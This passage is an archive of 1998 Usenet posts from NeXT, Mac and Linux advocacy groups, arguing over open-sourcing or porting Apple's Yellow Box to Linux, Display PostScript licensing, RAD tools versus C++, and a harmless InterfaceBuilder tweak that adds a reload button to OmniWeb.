> fulfilled the original requirements?
And...the list of C++ projects that have fulfilled this expectation?
I don't think so.
MJP
--
Smoking kills. If you're killed, you've lost a very important part of
your life.
-- Brooke Shields
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: I love it!
Date: 8 Dec 1998 13:03:12 GMT
Organization: GMD Darmstadt, Germany
Message-ID: <74j82g$m9h$1@mars.darmstadt.gmd.de>
References: <74iq7i$c30$1@remarQ.com>
Mime-Version: 1.0
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altenber@maui.net (Lee Altenberg) wrote:
>I was so delighted with the following hack that I had to post something.
>
...
>So, could I add a "reload" button to OW2.7 using InterfaceBuilder?
...
>The icon on the button was still the printer icon, so I found the "Undo.tiff"
Just curious.. has anybody _ever_ used that printer icon? Ever? :-)
Good idea to replace it with something useful, Lee.
>icon from OW3b8 and dragged it into the "Images" section of OW2.7's
>WebBrowser.nib, and then dragged the icon to the top of the new button, where
>the image now appeared. I saved the changes, launched OW2.7, and ...IT JUST
>WORKED! Evidently, First Responder got the message to the right place.
>That's good programming style, Omni.
>What more can I say. Apple, please bring out OS X and please take over the
>world with it.
Amen, brother.
Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: 8 Dec 1998 15:32:30 GMT
Organization: Primenet (602)416-7000
Message-ID: <74jgqe$gfj$1@nnrp03.primenet.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com>
: Why would you think it was an App?
: > Rhapsody/Mac OS X Server DR2 is no longer being seeded due to the
: > expiration of a third party software license. We will keep you
: > informed through ADC Seeding e-mails as new software becomes
: > available."
If it is Adobe, and this really isn't a money thing, and if they really
want to "kill" DPS .... what's their motivation?
John
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Cc: a1050pi@yahoo.com
Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
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Date: Tue, 8 Dec 1998 15:27:50 GMT
In
<DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> I really hope Apple doe that, because whichever company takes the
> long-term approach rather than the short-term approach will be
> well-rewarded.
Come no, OpenSource as a concept has been around for mere years, calling
this the long term view is premature. OpenSource is big because it's
riding the popularity of Linux and gaining mindshare via that route.
However it has yet to demonstrate itself as a generally effective system,
and basically can't until a few more years have passed.
> If Apple were to make YB (or OpenStep or the OSX upper level stuff)
> open source and provide it to the Linux community, that would make
> Apple's future viable again. Otherwise, they're goose is cooked.
This is certainly premature.
Maury
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: I love it!
Date: 8 Dec 1998 11:13:57 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74jj85$sem$1@crib.corepower.com>
References: <74iq7i$c30$1@remarQ.com> <74j82g$m9h$1@mars.darmstadt.gmd.de>
NNTP-Posting-Date: 8 Dec 1998 16:14:07 GMT
In article <74j82g$m9h$1@mars.darmstadt.gmd.de>, neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> Just curious.. has anybody _ever_ used that [OmniWeb] printer icon? Ever? :-)
No, but it looks cool. I say leave it. :)
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 8 Dec 1998 16:25:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <74jju9$i82@newsb.netnews.att.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net>
Originator: gupta@tlctest
Sheldon Gartner <a1050pi@yahoo.com> wrote:
>If Apple were to make YB (or OpenStep or the OSX upper level stuff)
>open source and provide it to the Linux community, that would make
>Apple's future viable again. Otherwise, they're goose is cooked.
a. What is it that Apple would be selling to run their business ?
b. If Apple sold YB for Linux like Oracle is providing its
database (not open source), would that be a better business
model ?
-arun gupta
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 11:06:26 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <74jiq2$sdp$1@crib.corepower.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74i4gc$kiv@news1.panix.com> <74i4hk$kj6@news1.panix.com> <74i6aj$85h$1@camel0.mindspring.com>
NNTP-Posting-Date: 8 Dec 1998 16:06:38 GMT
In article <74i6aj$85h$1@camel0.mindspring.com>, Matthew Cromer <matthew_cromer@iname.com> wrote:
You already got a reply to this, but anyway..
> Is it easy to add components to IB under YB?
It's a little awkward and not well-documented, but certainly possible.
> Can third parties develop IB widgets?
Yes.
> Do the IB widgets have a large variety of possible events
> that they can generate?
An IB widget can generate _anything_, based on the integration with the
Objective-C dynamic runtime system. (I hope you're beginning to see
the uses of a dynamic runtime here, since every other thing I describe
requires it!) Every widget can have "outlets" (which are basically
instance variables, other objects that the widget may need to know
about) and "actions", which are methods implemented and exported to
IB by the widget. Note that these are honest-to-goodness _methods_,
not some sickly message map thing or something like I have to deal with
in Visual C++. When you hook a connection from one widget to another,
you get a list of the names of all of the action methods implemented
by the widget. Your choice gets serialized into the NIB as a string.
At runtime, when an action event is generated, it turns that string into
a real message call invoking the appropriate method with that name.
From: bwebster@rice.edu (Brian E. Webster)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: I love it!
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 8 Dec 1998 16:13:02 GMT
Organization: Rice University, Houston, Texas
Message-ID: <74jj6e$8mm$1@joe.rice.edu>
References: <74iq7i$c30$1@remarQ.com>
That's pretty damn cool! If only I could add a "don't run like crap"
button to Netscape and Explorer like that...
--
Brian Webster
bwebster@owlnet.rice.edu
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 10:52:17 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366D5941.F16608B5@ericsson.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
<0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102>
<DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <F3nKAF.BIp@T-FCN.Net>
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Maury Markowitz wrote:
> Come no, OpenSource as a concept has been around for mere years, calling
> this the long term view is premature. OpenSource is big because it's
> riding the popularity of Linux and gaining mindshare via that route.
> However it has yet to demonstrate itself as a generally effective system,
> and basically can't until a few more years have passed.
I would guess that you meant to qualify "generally effective system".
Open Source systems are not "generally effective" for certain tasks or
for certain people. However, I assure you, Open Source system are quite
"generally effective" for a great many needs. Did you mean to say that
they weren't "generally effective" as certain types of end-user
desktops?
> > If Apple were to make YB (or OpenStep or the OSX upper level stuff)
> > open source and provide it to the Linux community, that would make
> > Apple's future viable again. Otherwise, they're goose is cooked.
>
> This is certainly premature.
Saying that Open Source could save Apple is premature. Saying that Apple
needs saving is not.
MJP
From: dfevans@bbcr.uwaterloo.ca (David Evans)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: I love it!
Date: 8 Dec 1998 16:13:38 GMT
Organization: University of Waterloo
Message-ID: <913133604.680005@watserv4.uwaterloo.ca>
References: <74iq7i$c30$1@remarQ.com>
Cache-Post-Path: watserv4.uwaterloo.ca!unknown@bcr11.uwaterloo.ca
In article <74iq7i$c30$1@remarQ.com>, Lee Altenberg <altenber@maui.net> wrote:
>I was so delighted with the following hack that I had to post something.
>
>OmniWeb3 beta 8 on NeXT Color Turbo hardware has proven so slow on things
>like just scrolling or clicking between windows that I went back to using
>OmniWeb 2.7 . However, I really liked the "Reload" button on the OW3
>browsers, which is not on OW 2.7.
>
>So, could I add a "reload" button to OW2.7 using InterfaceBuilder?
>
Yeah, those types of hacks are really great. IB is wonderful. :)
Still, I'm so used to hitting Command-U that I don't use the reload button
in OW3. :)
--
David Evans (NeXTMail/MIME OK) dfevans@bbcr.uwaterloo.ca
Computer/Synth Junkie http://bbcr.uwaterloo.ca/~dfevans/
University of Waterloo "Default is the value selected by the composer
Ontario, Canada overridden by your command." - Roland TR-707 Manual
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 8 Dec 1998 16:58:10 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74jlr2$b4u$1@remarQ.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost>
In article <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost>,
taiQ <pit@iohk.SPAM-NOT.com> wrote:
>The way I see it is Linux could easily be the Great Equalizer that
>helps make Apple's hardware more attractive to the mainstream buyer as
>Linux becomes more end-user-friendly (something where Apple could
>really make a difference with YB, btw). Lots of folks avoid Apple
>because of the infamous lack of apps or because they're afraid Apple
>could obsolete their proprietary hardware at a whim. But what if
>PowerMacintosh became the ideal platform to run Linux?
You might be able to make the case for a free YB runtime for Linux,
which would solve most of the problems without the big decision
to give away the source code. The reasoning would run something like
this: YB needs programmers to be a success. YB on Linux would give
exposure to a lot of programmers. They write programs that become
widespread on all YB-capable platforms. Consumers see the programs
and decide to buy a YB-capable platform to run them. Which YB-capable
platform is the best? Well, there's this one from Apple, which has
really nicely designed hardware, and a bitchin Mach OS with Mach
messaging that happens to run YB really well. Or Apple's (hypothetical)
OSX-Intel port. If everything works right, it's the classic technology
company marketing move: you build an ecosystem around a standard,
then make a living as the climax species in the ecosystem, using your
power over the standard to stay a step ahead of the competitors.
for this to work Apple would have to port the imaging model and other
stuff to Linux, not use X. It doesn't do Apple any good to have all
the programs those Linux guys write run only on Linux.
There's no driving need for YB to be open source. It's a pretty
high quality set of code as it is, and Apple/NeXT is fairly good
about moving it forward. (Though it would be nice to have the
ditched kits open sourced.)
--
Don McGregor | "It's Clintonism without the sincerity."
mcgredo@mbay.net |
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Tue, 08 Dec 1998 11:17:31 -0600
Organization: Ericsson Data Services Americas
Message-ID: <366D5F2B.ACDC3086@ericsson.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com>
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Donald R. McGregor wrote:
[cut]
> for this to work Apple would have to port the imaging model and other
> stuff to Linux, not use X. It doesn't do Apple any good to have all
> the programs those Linux guys write run only on Linux.
It would not be necessary (or acceptable) to circumvent X. X was the
backend for Solaris and HP-UX ports of OPENSTEP, and it is the backend
for GNUStep. I have an Adobe PDF around here somewhere describing the
XDPS model.
> There's no driving need for YB to be open source.
Not right now, since nobody in particular has even gotten a chance to
see YB.
> It's a pretty
> high quality set of code as it is, and Apple/NeXT is fairly good
> about moving it forward. (Though it would be nice to have the
> ditched kits open sourced.)
It would be nice if there were any availability at all. It's like, "Open
Source? Whoa, there, kiddo. The damned thing hasn't even shipped yet."
If nothing else, the GNUStep project promises to bring the technology
outside the cloistered and undesirable enclosure of Apple's Playhouse.
MJP
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: Tue, 08 Dec 1998 17:51:59 GMT
Organization: Airnews.net! at Internet America
Message-ID: <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library3
NNTP-Posting-Time: Tue Dec 8 11:41:47 1998
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On 8 Dec 1998 16:58:10 GMT, mcgredo@otter.mbay.net (Donald R.
McGregor) wrote:
>for this to work Apple would have to port the imaging model and other
>stuff to Linux, not use X. It doesn't do Apple any good to have all
>the programs those Linux guys write run only on Linux.
Doing that is the only thing that stands between Apple and oblivion.
They still have time to be the Netscape of Linux.
>There's no driving need for YB to be open source. It's a pretty
>high quality set of code as it is, and Apple/NeXT is fairly good
>about moving it forward. (Though it would be nice to have the
>ditched kits open sourced.)
No. It'd have to be open source to get any momentum on Linux, I
suspect.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 18:19:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74jqiu$809$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com>
In article <366C5B85.197654B0@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
> [cut]
>> In case you don't get this point, can you name, specificly, a medium to large
>> project written in VB that was delivered on-time, on-budget, and successfully
>> fulfilled the original requirements?
>
> And...the list of C++ projects that have fulfilled this expectation?
Are you confused, or do you remember what I (and most other people around
here, for that matter) think of C++?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 18:24:56 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74jqtm$855$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com>
In article <366C5B06.41F8EA24@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
[ ... ]
> I also think that I've witnessed many cases wherein the work was done
> before the business case was completed:
>
> "I need to make this change to the code."
>
> "Okay, write a business case, then fix the code."
>
> "No, it'll take me 5 seconds. Look..." [pause] "There, it's done."
Two developer-years != 5 seconds. Whose sense of proportion is off-kilter?
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <366D7417.CEA29D76@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com> <74jqiu$809$1@nnrp1.dejanews.com>
Content-Type: text/plain; charset=us-ascii
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NNTP-Posting-Date: Tue, 08 Dec 1998 13:43:52 EDT
Date: Tue, 08 Dec 1998 10:46:47 -0800
Charles Swiger wrote:
* Are you confused, or do you remember what I (and most other
* people around here, for that matter) think of C++?
If C is Cocaine, C++ is Crack.
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 18:38:03 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74jrmb$90k$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76oqkr.ft.davecook@sputnik.escnd1.sdca.home.com> <slrn76org1.ft.davecook@sputnik.escnd1.sdca.home.com> <74htci$jm$1@camel21.mindspring.com>
In article <74htci$jm$1@camel21.mindspring.com>,
Matthew Cromer <matthew_cromer@iname.com> wrote:
> In article <74h049$p8f$1@nnrp1.dejanews.com> Charles Swiger,
> chuck@codefab.com writes:
>> Yeah, and it also has a development community that, for the most part, has
>> never worked on a large project, and have no idea why writing 10,000 lines of
>> code is more difficult than writing ten 1000 LOC projects.
>>
>> In case you don't get this point, can you name, specificly, a medium to large
>> project written in VB that was delivered on-time, on-budget, and successfully
>> fulfilled the original requirements?
>
> Let's skip the general insults.
Was there something you thought was a "general insult"?
> I'm working on a ~10K LOC ap in VB, and things are going fine.
That's good. Has it been delivered yet, or it is still under development
(implied from the tense you used)?
> I've already said I think YB is a better designed environment.
That's nice, too. Believe it or not, the thought that VB might be a good
solution for some tasks (even better than YB) doesn't bother me at all. Use
the right tool for the job.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Net '94 = Linux '99
Date: 8 Dec 1998 18:43:42 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <74js0u$gug@ns2.alink.net>
References: <366D5F2B.ACDC3086@ericsson.com>
In article <366D5F2B.ACDC3086@ericsson.com> Michael Peck
<michael.peck@ericsson.com> writes:
> Donald R. McGregor wrote:
>
> [cut]
>
> > for this to work Apple would have to port the imaging model and other
> > stuff to Linux, not use X. It doesn't do Apple any good to have all
> > the programs those Linux guys write run only on Linux.
>
> It would not be necessary (or acceptable) to circumvent X. X was the
> backend for Solaris and HP-UX ports of OPENSTEP, and it is the backend
> for GNUStep. I have an Adobe PDF around here somewhere describing the
> XDPS model.
Personally, it is unacceptable for Apple to use the X-Windows system for the
back-end of any YB porting project which they could possibly do. X-Windows is
the ugliest piece of committee-designed junk that I have ever had to work with.
Also, what you state is wrong, as the only things which NeXT ported to Solaris
and HP-UX was the PDO/WOF layer which did not use X-Windows at all. Sun
Microsystems decided they wanted to use X-Windows as the window server when
they ported OPENSTEP to Solaris.
Mike Barthelemy
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 8 Dec 1998 14:05:29 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <74jtd1$atd@shelob.afs.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com> <74jqiu$809$1@nnrp1.dejanews.com> <366D7417.CEA29D76@trilithon.com>
Henry McGilton wrote in message <366D7417.CEA29D76@trilithon.com>...
>Charles Swiger wrote:
> * Are you confused, or do you remember what I (and most other
> * people around here, for that matter) think of C++?
>
>If C is Cocaine, C++ is Crack.
I believe the phrase you're looking for is
"C++ is to C as lung cancer is to lung."
Greg "Hard to learn, and built to stay that way"
From: steve mcadams <gorilla@earthling.net>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Tue, 08 Dec 1998 12:07:41 -0700
Organization: n/a
Message-ID: <366D78FD.5413@earthling.net>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74emdk$qof$1@samsara0.mindspring.com> <74en8c$t61$1@nnrp1.dejanews.com> <74eqt0$vv6$1@nnrp1.dejanews.com> <74esk3$udi$2@samsara0.mindspring.com> <74h049$p8f$1@nnrp1.dejanews.com> <366C5B85.197654B0@ericsson.com> <74jqiu$809$1@nnrp1.dejanews.com> <366D7417.CEA29D76@trilithon.com>
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Henry McGilton wrote:
>
> Charles Swiger wrote:
> * Are you confused, or do you remember what I (and most other
> * people around here, for that matter) think of C++?
>
> If C is Cocaine, C++ is Crack.
Interesting metaphor Henry, but does it mean you really like it, or
really hate it? Personally I think C++ is a fine development language
if you can get it unhooked from enough of the awful libraries it usually
comes with and live with some of its silly restrictions, while C is a
fine development language that you can get the job done with if you
apply sufficient elbow-grease (although if you're really leveraging code
you'll find yourself using object-oriented techniques). Which is to say
I don't mind driving a Model-T if it's the only alternative to walking,
but I prefer something with a heater and stereo<g> -steve
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 8 Dec 1998 19:54:21 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn76r0vd.296.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <366B248A.5F03219A@mohawksoft.com> <74g370$117$1@nnrp1.dejanews.com> <366BF336.B17A3872@mohawksoft.com> <74h6ov$pe2$1@crib.corepower.com> <366C2F0D.7D2F461E@mohawksoft.com> <74ilnf$84b$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 8 Dec 1998 19:54:21 GMT
On Tue, 08 Dec 1998 07:50:07 GMT, quinlan@intergate.bc.ca wrote:
:In article <366C2F0D.7D2F461E@mohawksoft.com>,
: Mark Woodward <markw@mohawksoft.com> wrote:
:
:> VB is fine as long as what you want to do is simple. The minute
:> marketing says "can it do ...." You will be forced down a road that VB
:> was not meant to travel. You will find paradigms that would have been a
:> piece of cake in C/C++ a headache and a half in VB because there are no
:> provisions for it. Try hiding the cursor in a VB window under NT with
:> ShowCursor(FALSE); Good luck!
:
:I love this. You claim that RAD is a poor programming model for non-trivial
:applications. You concede that VB is not the only RAD environment in the
:universe. You attack VB in a way that obviously applies specifically to VB and
:not to RAD in general. Why don't you demonstrate how all RAD environments must
:be suited only to trivial applications? That would be more entertaining than
:you ranting about VB and assuming that your arguments apply to all RAD
:environments.
The problem is when "Rapid Application Development" environments are
not the same as real software development environments. What is a
non-rapid development environment?
E.g.:
What's the difference between a "scripting language" and a
"programming language"?
Generally, the answer is "a scripting language is a language which sucks,
wielding excuses because 'it's only a scripting langauge'". C.f. tcl and perl,
but probably not python.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
From: maynard@mr-gateway.internal.net (J. Maynard Gelinas)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com>
Message-ID: <slrn76r3gc.qsl.maynard@mr-gateway.internal.net>
Date: Tue, 08 Dec 1998 20:17:27 GMT
NNTP-Posting-Date: Tue, 08 Dec 1998 15:17:27 EDT
Organization: Northeast Region--MediaOne
On 8 Dec 1998 02:20:46 GMT, Sal Denaro <sal@panix.com> wrote:
>On Mon, 07 Dec 1998 16:47:34 -0600,
> Michael Peck <michael.peck@ericsson.com> wrote:
[snip]
>
>>> You don't need a campaign to _give away_ software, you do need one to
>>> _sell_ software.
>>No, that's wrong. You don't need a campaign for either. You need a
>>campaign to sell *more* software than you would *without* a campaign.
>>Important distinction. So don't sell YB for Linux, or do, or whatever.
>>Why does it matter? Availability is the important issue.
>
>If it doesn't sell in large enough numbers to recoup the costs of development,
>and of negotiating the availability of DPS on another platform (after Adobe
>went to great lengths to KILL DPS) it is going to be put down as a loss.
>
Sidenote: Apple would do themselves a _BIG_ favor by helping or
funding development of XDGS with the GNUSTEP team. Display
Ghostscript could be Apple's way out of their dependency on Adobe.
Since Adobe seems committed to killing DPS it's only reasonable that
Apple should look for some alternative which doesn't require runtime
licensing fees.
Please correct me if I'm wrong here, but wouldn't a YB port to
Linux require display postscript? So either Apple would have to get
Adobe to port the DPS X-extension to one of the commercial Linux X
servers (fat chance!), or they would have to interoperate with
XDGS/Xfree86. I doubt the Xfree86/XDGS solution would cause any
licensing problems, but Apple's corporate culture may balk at this
option.
I sure would like to see YB ported to Linux, and I *DO* think
this would be to Apple's advantage. Linux has developers mindshare,
and a large student audience. Given Apple's previous targeting of the
student populations in public schools and Universities it would seem
an obvious move for them... however, they don't have much of a track
record *giving away* software, and I doubt YB would make it in the
Linux world unless it was released at least free for non-commercial
use. You guys could debate the issue of port cost vs. business return
till you're blue in the face but I bet Apple won't budge on this issue
until someone makes a good business case for the project. Of course
us Linux users know there's a good return for Apple: developer
mindshare. But developer mindshare doesn't fit neatly on a balance
sheet.
I assume Apple is solving the obe/DPS licensing disaster by
porting quickdraw? blech.
[snip]
--jmg
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 08 Dec 1998 20:20:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74k1lk$e9j$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com>
In article <366C7F86.8B3709C5@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
> Charles Swiger wrote:
[cut]
>> Whether that amount of money makes it to a shareholder's meeting is
>> irrelevant, but I'd imagine you knew that already.
>
> Well, you could have saved us the trouble of two postings if you'd just
> acknowledged the proper response to "to satisfy paperwork
> requirements?".
The proper response was "no". I really wish you'd read a little more
carefully, or stop dodging questions, or however you'd characterize your
responses.
> Moving on: does the time spent writing this business case significantly
> change the $400,000 number, or do we let it stand there?
No, the time required to prepare a business case would not significantly
change the number.
>> So he needs a business case to demonstrate to his superiors why spending
>> those resources on a YB port for Linux is better than spending them
>> elsewhere.
>
> No...I think you're making a mistake with that. There's no way for the
> engineer
Not the engineer. The engineer's manager, who has to report to his/her
superiors. All the way up the chain, Apple's senior executives have to report
to the stockholders.
> The purpose of such a document is to estimate the cost and value of the
> project. Management decides whether the value is worth the cost.
Exactly.
[ ... ]
>>> Again, so what? You're adding requirements onto the projects in order to
>>> make it seem larger. Nothing new, budgets have been inflated by
